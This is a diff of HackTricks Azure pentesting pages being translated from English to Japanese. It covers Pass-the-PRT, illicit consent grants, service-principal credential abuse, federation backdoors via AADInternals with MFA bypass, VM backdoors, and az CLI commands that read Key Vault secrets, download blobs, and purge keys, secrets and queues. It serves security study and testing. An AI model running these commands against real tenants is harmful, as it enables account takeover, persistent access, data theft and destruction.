||||
```
|
||||
|
||||
<figure><img src="../../../images/image (44).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Option 3 - roadrecon using derived keys
|
||||
|
||||
Having the context and the derived key dumped by mimikatz, it's possible to use roadrecon to generate a new signed cookie with:
|
||||
#### オプション 3 - derived keys を使用した roadrecon
|
||||
|
||||
コンテキストと mimikatz によってダンプされた derived key を持っている場合、roadrecon を使用して新しい署名付きクッキーを生成することが可能です:
|
||||
```bash
|
||||
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
|
||||
```
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/](https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/)
|
||||
- [https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
|
||||
- [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,54 +2,45 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Illicit Consent Grant
|
||||
### 不正な同意の付与
|
||||
|
||||
By default, any user can register an application in Azure AD. So you can register an application (only for the target tenant) that needs high impact permissions with admin consent (an approve it if you are the admin) - like sending mail on a user's behalf, role management etc.T his will allow us to **execute phishing attacks** that would be very **fruitful** in case of success.
|
||||
デフォルトでは、任意のユーザーがAzure ADにアプリケーションを登録できます。したがって、高い影響を持つ権限が必要なアプリケーション(ターゲットテナント専用)を登録できます。管理者の同意が必要です(管理者であれば承認できます) - 例えば、ユーザーの代理でメールを送信したり、役割管理を行ったりします。これにより、成功した場合に非常に**有益な****フィッシング攻撃**を**実行**することができます。
|
||||
|
||||
Moreover, you could also accept that application with your user as a way to maintain access over it.
|
||||
さらに、アクセスを維持する手段として、ユーザーとしてそのアプリケーションを受け入れることもできます。
|
||||
|
||||
### Applications and Service Principals
|
||||
### アプリケーションとサービスプリンシパル
|
||||
|
||||
With privileges of Application Administrator, GA or a custom role with microsoft.directory/applications/credentials/update permissions, we can add credentials (secret or certificate) to an existing application.
|
||||
アプリケーション管理者、GA、またはmicrosoft.directory/applications/credentials/update権限を持つカスタムロールの特権を持つ場合、既存のアプリケーションに資格情報(シークレットまたは証明書)を追加できます。
|
||||
|
||||
It's possible to **target an application with high permissions** or **add a new application** with high permissions.
|
||||
**高い権限を持つアプリケーションをターゲットにする**ことも、**高い権限を持つ新しいアプリケーションを追加する**ことも可能です。
|
||||
|
||||
An interesting role to add to the application would be **Privileged authentication administrator role** as it allows to **reset password** of Global Administrators.
|
||||
|
||||
This technique also allows to **bypass MFA**.
|
||||
アプリケーションに追加するのに興味深い役割は、**特権認証管理者ロール**です。これは、グローバル管理者の**パスワードをリセット**することを可能にします。
|
||||
|
||||
この技術は、**MFAをバイパス**することも可能です。
|
||||
```powershell
|
||||
$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
|
||||
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
|
||||
```
|
||||
|
||||
- For certificate based authentication
|
||||
|
||||
- 証明書ベースの認証のために
|
||||
```powershell
|
||||
Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>
|
||||
```
|
||||
|
||||
### Federation - Token Signing Certificate
|
||||
|
||||
With **DA privileges** on on-prem AD, it is possible to create and import **new Token signing** and **Token Decrypt certificates** that have a very long validity. This will allow us to **log-in as any user** whose ImuutableID we know.
|
||||
|
||||
**Run** the below command as **DA on the ADFS server(s)** to create new certs (default password 'AADInternals'), add them to ADFS, disable auto rollver and restart the service:
|
||||
**DA権限**を持つオンプレミスADでは、非常に長い有効期限を持つ**新しいトークン署名**および**トークン復号化証明書**を作成およびインポートすることが可能です。これにより、**ImmutableID**を知っている任意のユーザーとして**ログイン**することができます。
|
||||
|
||||
**ADFSサーバーでDAとして**以下のコマンドを実行して新しい証明書を作成し(デフォルトのパスワードは'AADInternals')、それらをADFSに追加し、自動ロールオーバーを無効にし、サービスを再起動します:
|
||||
```powershell
|
||||
New-AADIntADFSSelfSignedCertificates
|
||||
```
|
||||
|
||||
Then, update the certificate information with Azure AD:
|
||||
|
||||
次に、Azure ADで証明書情報を更新します:
|
||||
```powershell
|
||||
Update-AADIntADFSFederationSettings -Domain cyberranges.io
|
||||
```
|
||||
|
||||
### Federation - Trusted Domain
|
||||
|
||||
With GA privileges on a tenant, it's possible to **add a new domain** (must be verified), configure its authentication type to Federated and configure the domain to **trust a specific certificate** (any.sts in the below command) and issuer:
|
||||
|
||||
テナントにGA権限がある場合、**新しいドメインを追加**することが可能です(確認が必要です)、その認証タイプをFederatedに設定し、ドメインを**特定の証明書**(以下のコマンドのany.sts)および発行者を**信頼**するように設定します:
|
||||
```powershell
|
||||
# Using AADInternals
|
||||
ConvertTo-AADIntBackdoor -DomainName cyberranges.io
|
||||
@@ -60,13 +51,8 @@ Get-MsolUser | select userPrincipalName,ImmutableID
|
||||
# Access any cloud app as the user
|
||||
Open-AADIntOffice365Portal -ImmutableID qIMPTm2Q3kimHgg4KQyveA== -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA$true
|
||||
```
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://aadinternalsbackdoor.azurewebsites.net/](https://aadinternalsbackdoor.azurewebsites.net/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Queue
|
||||
|
||||
For more information check:
|
||||
詳細については、次を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-queue-enum.md
|
||||
@@ -12,8 +12,7 @@ For more information check:
|
||||
|
||||
### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
|
||||
|
||||
This permission allows an attacker to create or modify queues and their properties within the storage account. It can be used to create unauthorized queues, modify metadata, or change access control lists (ACLs) to grant or restrict access. This capability could disrupt workflows, inject malicious data, exfiltrate sensitive information, or manipulate queue settings to enable further attacks.
|
||||
|
||||
この権限は、攻撃者がストレージアカウント内のキューとそのプロパティを作成または変更することを許可します。これを使用して、不正なキューを作成したり、メタデータを変更したり、アクセス制御リスト(ACL)を変更してアクセスを許可または制限したりできます。この機能は、ワークフローを妨害したり、悪意のあるデータを注入したり、機密情報を抽出したり、さらなる攻撃を可能にするためにキュー設定を操作したりする可能性があります。
|
||||
```bash
|
||||
az storage queue create --name <new-queue-name> --account-name <storage-account>
|
||||
|
||||
@@ -21,15 +20,10 @@ az storage queue metadata update --name <queue-name> --metadata key1=value1 key2
|
||||
|
||||
az storage queue policy set --name <queue-name> --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name <storage-account>
|
||||
```
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
|
||||
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,44 +2,36 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Storage Privesc
|
||||
## ストレージの権限昇格
|
||||
|
||||
For more information about storage check:
|
||||
ストレージに関する詳細情報は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-storage.md
|
||||
{{#endref}}
|
||||
|
||||
### Common tricks
|
||||
### 一般的なトリック
|
||||
|
||||
- Keep the access keys
|
||||
- Generate SAS
|
||||
- User delegated are 7 days max
|
||||
- アクセスキーを保持する
|
||||
- SASを生成する
|
||||
- ユーザー委任は最大7日間
|
||||
|
||||
### Microsoft.Storage/storageAccounts/blobServices/containers/update && Microsoft.Storage/storageAccounts/blobServices/deletePolicy/write
|
||||
|
||||
These permissions allows the user to modify blob service properties for the container delete retention feature, which enables or configures the retention period for deleted containers. These permissions can be used for maintaining persistence to provide a window of opportunity for the attacker to recover or manipulate deleted containers that should have been permanently removed and accessing sensitive information.
|
||||
|
||||
これらの権限は、削除されたコンテナの保持期間を有効にまたは構成するためのコンテナ削除保持機能のために、ユーザーがblobサービスのプロパティを変更することを許可します。これらの権限は、攻撃者が永久に削除されるべき削除されたコンテナを回復または操作するための機会を提供するために、持続性を維持するために使用できます。
|
||||
```bash
|
||||
az storage account blob-service-properties update \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--enable-container-delete-retention true \
|
||||
--container-delete-retention-days 100
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--enable-container-delete-retention true \
|
||||
--container-delete-retention-days 100
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action
|
||||
|
||||
These permissions can lead to the attacker to modify the retention policies, restoring deleted data, and accessing sensitive information.
|
||||
|
||||
これらの権限は、攻撃者が保持ポリシーを変更し、削除されたデータを復元し、機密情報にアクセスすることを可能にします。
|
||||
```bash
|
||||
az storage blob service-properties delete-policy update \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--enable true \
|
||||
--days-retained 100
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--enable true \
|
||||
--days-retained 100
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,26 +4,22 @@
|
||||
|
||||
## VMs persistence
|
||||
|
||||
For more information about VMs check:
|
||||
VMに関する詳細情報は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/vms/
|
||||
{{#endref}}
|
||||
|
||||
### Backdoor VM applications, VM Extensions & Images <a href="#backdoor-instances" id="backdoor-instances"></a>
|
||||
### バックドアVMアプリケーション、VM拡張機能&イメージ <a href="#backdoor-instances" id="backdoor-instances"></a>
|
||||
|
||||
An attacker identifies applications, extensions or images being frequently used in the Azure account, he could insert his code in VM applications and extensions so every time they get installed the backdoor is executed.
|
||||
攻撃者はAzureアカウントで頻繁に使用されているアプリケーション、拡張機能、またはイメージを特定し、VMアプリケーションや拡張機能にコードを挿入することで、インストールされるたびにバックドアが実行されるようにすることができます。
|
||||
|
||||
### Backdoor Instances <a href="#backdoor-instances" id="backdoor-instances"></a>
|
||||
### バックドアインスタンス <a href="#backdoor-instances" id="backdoor-instances"></a>
|
||||
|
||||
An attacker could get access to the instances and backdoor them:
|
||||
攻撃者はインスタンスにアクセスし、バックドアを仕掛けることができます:
|
||||
|
||||
- Using a traditional **rootkit** for example
|
||||
- Adding a new **public SSH key** (check [EC2 privesc options](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc))
|
||||
- Backdooring the **User Data**
|
||||
- 例えば、従来の**rootkit**を使用する
|
||||
- 新しい**公開SSHキー**を追加する([EC2の特権昇格オプション](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc)を確認)
|
||||
- **ユーザーデータ**にバックドアを仕掛ける
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1 @@
|
||||
# Az - Post Exploitation
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# Az - ポストエクスプロイテーション
|
||||
|
||||
@@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Storage Privesc
|
||||
## ストレージの権限昇格
|
||||
|
||||
For more information about storage check:
|
||||
ストレージに関する詳細情報は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-storage.md
|
||||
@@ -12,38 +12,30 @@ For more information about storage check:
|
||||
|
||||
### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
|
||||
|
||||
A principal with this permission will be able to **list** the blobs (files) inside a container and **download** the files which might contain **sensitive information**.
|
||||
|
||||
この権限を持つプリンシパルは、コンテナ内のブロブ(ファイル)を**リスト**し、**機密情報**を含む可能性のあるファイルを**ダウンロード**することができます。
|
||||
```bash
|
||||
# e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
|
||||
az storage blob list \
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> --auth-mode login
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> --auth-mode login
|
||||
|
||||
az storage blob download \
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> \
|
||||
-n file.txt --auth-mode login
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> \
|
||||
-n file.txt --auth-mode login
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
|
||||
|
||||
A principal with this permission will be able to **write and overwrite files in containers** which might allow him to cause some damage or even escalate privileges (e.g. overwrite some code stored in a blob):
|
||||
|
||||
この権限を持つプリンシパルは、**コンテナ内のファイルを書き込みおよび上書きする**ことができ、これにより損害を引き起こしたり、特権を昇格させたりする可能性があります(例:ブロブに保存されているコードを上書きする)。
|
||||
```bash
|
||||
# e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
|
||||
az storage blob upload \
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> \
|
||||
--file /tmp/up.txt --auth-mode login --overwrite
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> \
|
||||
--file /tmp/up.txt --auth-mode login --overwrite
|
||||
```
|
||||
|
||||
### \*/delete
|
||||
|
||||
This would allow to delete objects inside the storage account which might **interrupt some services** or make the client **lose valuable information**.
|
||||
これにより、ストレージアカウント内のオブジェクトを削除でき、**いくつかのサービスを中断させる**か、クライアントが**貴重な情報を失う**可能性があります。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
File Share Post Exploitation
|
||||
ファイル共有のポストエクスプロイテーション
|
||||
|
||||
For more information about file shares check:
|
||||
ファイル共有に関する詳細情報は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-file-shares.md
|
||||
@@ -12,41 +12,33 @@ For more information about file shares check:
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read
|
||||
|
||||
A principal with this permission will be able to **list** the files inside a file share and **download** the files which might contain **sensitive information**.
|
||||
|
||||
この権限を持つプリンシパルは、ファイル共有内のファイルを**リスト**し、**機密情報**を含む可能性のあるファイルを**ダウンロード**することができます。
|
||||
```bash
|
||||
# List files inside an azure file share
|
||||
az storage file list \
|
||||
--account-name <name> \
|
||||
--share-name <share-name> \
|
||||
--auth-mode login --enable-file-backup-request-intent
|
||||
--account-name <name> \
|
||||
--share-name <share-name> \
|
||||
--auth-mode login --enable-file-backup-request-intent
|
||||
|
||||
# Download an specific file
|
||||
az storage file download \
|
||||
--account-name <name> \
|
||||
--share-name <share-name> \
|
||||
--path <filename-to-download> \
|
||||
--dest /path/to/down \
|
||||
--auth-mode login --enable-file-backup-request-intent
|
||||
--account-name <name> \
|
||||
--share-name <share-name> \
|
||||
--path <filename-to-download> \
|
||||
--dest /path/to/down \
|
||||
--auth-mode login --enable-file-backup-request-intent
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write, Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action
|
||||
|
||||
A principal with this permission will be able to **write and overwrite files in file shares** which might allow him to cause some damage or even escalate privileges (e.g. overwrite some code stored in a file share):
|
||||
|
||||
この権限を持つプリンシパルは、**ファイル共有にファイルを書き込み、上書きする**ことができ、これにより損害を与えたり、特権を昇格させたりする可能性があります(例:ファイル共有に保存されたコードを上書きする)。
|
||||
```bash
|
||||
az storage blob upload \
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> \
|
||||
--file /tmp/up.txt --auth-mode login --overwrite
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> \
|
||||
--file /tmp/up.txt --auth-mode login --overwrite
|
||||
```
|
||||
|
||||
### \*/delete
|
||||
|
||||
This would allow to delete file inside the shared filesystem which might **interrupt some services** or make the client **lose valuable information**.
|
||||
これにより、共有ファイルシステム内のファイルを削除でき、**いくつかのサービスを中断させる**か、クライアントが**貴重な情報を失う**可能性があります。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,18 +4,14 @@
|
||||
|
||||
## Funciton Apps Post Exploitaiton
|
||||
|
||||
For more information about function apps check:
|
||||
Function Appsに関する詳細情報は、以下を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-function-apps.md
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION] > **Function Apps post exploitation tricks are very related to the privilege escalation tricks** so you can find all of them there:
|
||||
> [!CAUTION] > **Function Appsのポストエクスプロイトトリックは、特権昇格トリックと非常に関連しています**ので、すべてそこにあります:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-functions-app-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Azure Key Vault
|
||||
|
||||
For more information about this service check:
|
||||
このサービスに関する詳細情報は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/keyvault.md
|
||||
@@ -12,27 +12,22 @@ For more information about this service check:
|
||||
|
||||
### Microsoft.KeyVault/vaults/secrets/getSecret/action
|
||||
|
||||
This permission will allow a principal to read the secret value of secrets:
|
||||
|
||||
この権限により、プリンシパルはシークレットの値を読み取ることができます:
|
||||
```bash
|
||||
az keyvault secret show --vault-name <vault name> --name <secret name>
|
||||
|
||||
# Get old version secret value
|
||||
az keyvault secret show --id https://<KeyVaultName>.vault.azure.net/secrets/<KeyVaultName>/<idOldVersion>
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/certificates/purge/action**
|
||||
|
||||
This permission allows a principal to permanently delete a certificate from the vault.
|
||||
|
||||
この権限は、プリンシパルがボールトから証明書を永久に削除することを許可します。
|
||||
```bash
|
||||
az keyvault certificate purge --vault-name <vault name> --name <certificate name>
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/keys/encrypt/action**
|
||||
|
||||
This permission allows a principal to encrypt data using a key stored in the vault.
|
||||
|
||||
この権限は、プリンシパルがボールトに保存されたキーを使用してデータを暗号化することを許可します。
|
||||
```bash
|
||||
az keyvault key encrypt --vault-name <vault name> --name <key name> --algorithm <algorithm> --value <value>
|
||||
|
||||
@@ -40,76 +35,55 @@ az keyvault key encrypt --vault-name <vault name> --name <key name> --algorithm
|
||||
echo "HackTricks" | base64 # SGFja1RyaWNrcwo=
|
||||
az keyvault key encrypt --vault-name testing-1231234 --name testing --algorithm RSA-OAEP-256 --value SGFja1RyaWNrcwo=
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/keys/decrypt/action**
|
||||
|
||||
This permission allows a principal to decrypt data using a key stored in the vault.
|
||||
|
||||
この権限は、プリンシパルがボールトに保存されたキーを使用してデータを復号化することを許可します。
|
||||
```bash
|
||||
az keyvault key decrypt --vault-name <vault name> --name <key name> --algorithm <algorithm> --value <value>
|
||||
|
||||
# Example
|
||||
az keyvault key decrypt --vault-name testing-1231234 --name testing --algorithm RSA-OAEP-256 --value "ISZ+7dNcDJXLPR5MkdjNvGbtYK3a6Rg0ph/+3g1IoUrCwXnF791xSF0O4rcdVyyBnKRu0cbucqQ/+0fk2QyAZP/aWo/gaxUH55pubS8Zjyw/tBhC5BRJiCtFX4tzUtgTjg8lv3S4SXpYUPxev9t/9UwUixUlJoqu0BgQoXQhyhP7PfgAGsxayyqxQ8EMdkx9DIR/t9jSjv+6q8GW9NFQjOh70FCjEOpYKy9pEGdLtPTrirp3fZXgkYfIIV77TXuHHdR9Z9GG/6ge7xc9XT6X9ciE7nIXNMQGGVCcu3JAn9BZolb3uL7PBCEq+k2rH4tY0jwkxinM45tg38Re2D6CEA==" # This is the result from the previous encryption
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/keys/purge/action**
|
||||
|
||||
This permission allows a principal to permanently delete a key from the vault.
|
||||
|
||||
この権限は、プリンシパルがボールトからキーを永久に削除することを許可します。
|
||||
```bash
|
||||
az keyvault key purge --vault-name <vault name> --name <key name>
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/secrets/purge/action**
|
||||
|
||||
This permission allows a principal to permanently delete a secret from the vault.
|
||||
|
||||
この権限は、プリンシパルがボールトからシークレットを永久に削除することを許可します。
|
||||
```bash
|
||||
az keyvault secret purge --vault-name <vault name> --name <secret name>
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/secrets/setSecret/action**
|
||||
|
||||
This permission allows a principal to create or update a secret in the vault.
|
||||
|
||||
この権限は、プリンシパルがボールト内のシークレットを作成または更新することを許可します。
|
||||
```bash
|
||||
az keyvault secret set --vault-name <vault name> --name <secret name> --value <secret value>
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/certificates/delete**
|
||||
|
||||
This permission allows a principal to delete a certificate from the vault. The certificate is moved to the "soft-delete" state, where it can be recovered unless purged.
|
||||
|
||||
この権限は、プリンシパルがボールトから証明書を削除することを許可します。証明書は「ソフト削除」状態に移動され、削除されない限り復元可能です。
|
||||
```bash
|
||||
az keyvault certificate delete --vault-name <vault name> --name <certificate name>
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/keys/delete**
|
||||
|
||||
This permission allows a principal to delete a key from the vault. The key is moved to the "soft-delete" state, where it can be recovered unless purged.
|
||||
|
||||
この権限は、プリンシパルがボールトからキーを削除することを許可します。キーは「ソフト削除」状態に移動され、削除されない限り回復可能です。
|
||||
```bash
|
||||
az keyvault key delete --vault-name <vault name> --name <key name>
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/secrets/delete**
|
||||
|
||||
This permission allows a principal to delete a secret from the vault. The secret is moved to the "soft-delete" state, where it can be recovered unless purged.
|
||||
|
||||
この権限は、プリンシパルがボールトからシークレットを削除することを許可します。シークレットは「ソフト削除」状態に移動され、削除されない限り復元可能です。
|
||||
```bash
|
||||
az keyvault secret delete --vault-name <vault name> --name <secret name>
|
||||
```
|
||||
|
||||
### Microsoft.KeyVault/vaults/secrets/restore/action
|
||||
|
||||
This permission allows a principal to restore a secret from a backup.
|
||||
|
||||
この権限は、プリンシパルがバックアップからシークレットを復元することを許可します。
|
||||
```bash
|
||||
az keyvault secret restore --vault-name <vault-name> --file <backup-file-path>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Queue
|
||||
|
||||
For more information check:
|
||||
詳細については、次を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-queue-enum.md
|
||||
@@ -12,66 +12,53 @@ For more information check:
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/read`
|
||||
|
||||
An attacker with this permission can peek messages from an Azure Storage Queue. This allows the attacker to view the content of messages without marking them as processed or altering their state. This could lead to unauthorized access to sensitive information, enabling data exfiltration or gathering intelligence for further attacks.
|
||||
|
||||
この権限を持つ攻撃者は、Azure Storage Queueからメッセージを覗き見ることができます。これにより、攻撃者はメッセージの内容を処理済みとしてマークしたり、その状態を変更したりすることなく表示できます。これにより、機密情報への不正アクセスが可能になり、データの流出やさらなる攻撃のための情報収集が行われる可能性があります。
|
||||
```bash
|
||||
az storage message peek --queue-name <queue_name> --account-name <storage_account>
|
||||
```
|
||||
|
||||
**Potential Impact**: Unauthorized access to the queue, message exposure, or queue manipulation by unauthorized users or services.
|
||||
**潜在的な影響**: キューへの不正アクセス、メッセージの露出、または不正なユーザーやサービスによるキューの操作。
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/process/action`
|
||||
|
||||
With this permission, an attacker can retrieve and process messages from an Azure Storage Queue. This means they can read the message content and mark it as processed, effectively hiding it from legitimate systems. This could lead to sensitive data being exposed, disruptions in how messages are handled, or even stopping important workflows by making messages unavailable to their intended users.
|
||||
|
||||
この権限を持つ攻撃者は、Azure Storage Queueからメッセージを取得して処理することができます。これは、メッセージの内容を読み取り、処理済みとしてマークすることを意味し、実質的に正当なシステムから隠すことになります。これにより、機密データが露出したり、メッセージの処理方法に混乱が生じたり、メッセージを意図したユーザーに利用できなくすることで重要なワークフローが停止する可能性があります。
|
||||
```bash
|
||||
az storage message get --queue-name <queue_name> --account-name <storage_account>
|
||||
```
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/add/action`
|
||||
|
||||
With this permission, an attacker can add new messages to an Azure Storage Queue. This allows them to inject malicious or unauthorized data into the queue, potentially triggering unintended actions or disrupting downstream services that process the messages.
|
||||
|
||||
この権限を持つ攻撃者は、Azure Storage Queueに新しいメッセージを追加できます。これにより、悪意のあるまたは不正なデータをキューに注入し、意図しないアクションを引き起こしたり、メッセージを処理する下流サービスを妨害したりする可能性があります。
|
||||
```bash
|
||||
az storage message put --queue-name <queue-name> --content "Injected malicious message" --account-name <storage-account>
|
||||
```
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/write`
|
||||
|
||||
This permission allows an attacker to add new messages or update existing ones in an Azure Storage Queue. By using this, they could insert harmful content or alter existing messages, potentially misleading applications or causing undesired behaviors in systems that rely on the queue.
|
||||
|
||||
この権限により、攻撃者はAzure Storage Queueに新しいメッセージを追加したり、既存のメッセージを更新したりすることができます。これを使用することで、有害なコンテンツを挿入したり、既存のメッセージを変更したりすることができ、アプリケーションを誤解させたり、キューに依存するシステムで望ましくない動作を引き起こす可能性があります。
|
||||
```bash
|
||||
az storage message put --queue-name <queue-name> --content "Injected malicious message" --account-name <storage-account>
|
||||
|
||||
#Update the message
|
||||
az storage message update --queue-name <queue-name> \
|
||||
--id <message-id> \
|
||||
--pop-receipt <pop-receipt> \
|
||||
--content "Updated message content" \
|
||||
--visibility-timeout <timeout-in-seconds> \
|
||||
--account-name <storage-account>
|
||||
--id <message-id> \
|
||||
--pop-receipt <pop-receipt> \
|
||||
--content "Updated message content" \
|
||||
--visibility-timeout <timeout-in-seconds> \
|
||||
--account-name <storage-account>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/delete`
|
||||
|
||||
This permission allows an attacker to delete queues within the storage account. By leveraging this capability, an attacker can permanently remove queues and all their associated messages, causing significant disruption to workflows and resulting in critical data loss for applications that rely on the affected queues. This action can also be used to sabotage services by removing essential components of the system.
|
||||
|
||||
この権限は、攻撃者がストレージアカウント内のキューを削除することを許可します。この機能を利用することで、攻撃者はキューとその関連メッセージを永久に削除し、ワークフローに重大な混乱を引き起こし、影響を受けたキューに依存するアプリケーションにとって重要なデータ損失をもたらすことができます。このアクションは、システムの重要なコンポーネントを削除することでサービスを妨害するためにも使用できます。
|
||||
```bash
|
||||
az storage queue delete --name <queue-name> --account-name <storage-account>
|
||||
```
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/delete`
|
||||
|
||||
With this permission, an attacker can clear all messages from an Azure Storage Queue. This action removes all messages, disrupting workflows and causing data loss for systems dependent on the queue.
|
||||
|
||||
この権限を持つ攻撃者は、Azure Storage Queueからすべてのメッセージを削除できます。このアクションはすべてのメッセージを削除し、ワークフローを妨害し、キューに依存するシステムにデータ損失を引き起こします。
|
||||
```bash
|
||||
az storage message clear --queue-name <queue-name> --account-name <storage-account>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
|
||||
|
||||
This permission allows an attacker to create or modify queues and their properties within the storage account. It can be used to create unauthorized queues, modify metadata, or change access control lists (ACLs) to grant or restrict access. This capability could disrupt workflows, inject malicious data, exfiltrate sensitive information, or manipulate queue settings to enable further attacks.
|
||||
|
||||
この権限は、攻撃者がストレージアカウント内のキューとそのプロパティを作成または変更することを許可します。これを使用して、不正なキューを作成したり、メタデータを変更したり、アクセス制御リスト(ACL)を変更してアクセスを許可または制限したりできます。この機能は、ワークフローを妨害したり、悪意のあるデータを注入したり、機密情報を抽出したり、さらなる攻撃を可能にするためにキュー設定を操作したりする可能性があります。
|
||||
```bash
|
||||
az storage queue create --name <new-queue-name> --account-name <storage-account>
|
||||
|
||||
@@ -79,15 +66,10 @@ az storage queue metadata update --name <queue-name> --metadata key1=value1 key2
|
||||
|
||||
az storage queue policy set --name <queue-name> --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name <storage-account>
|
||||
```
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
|
||||
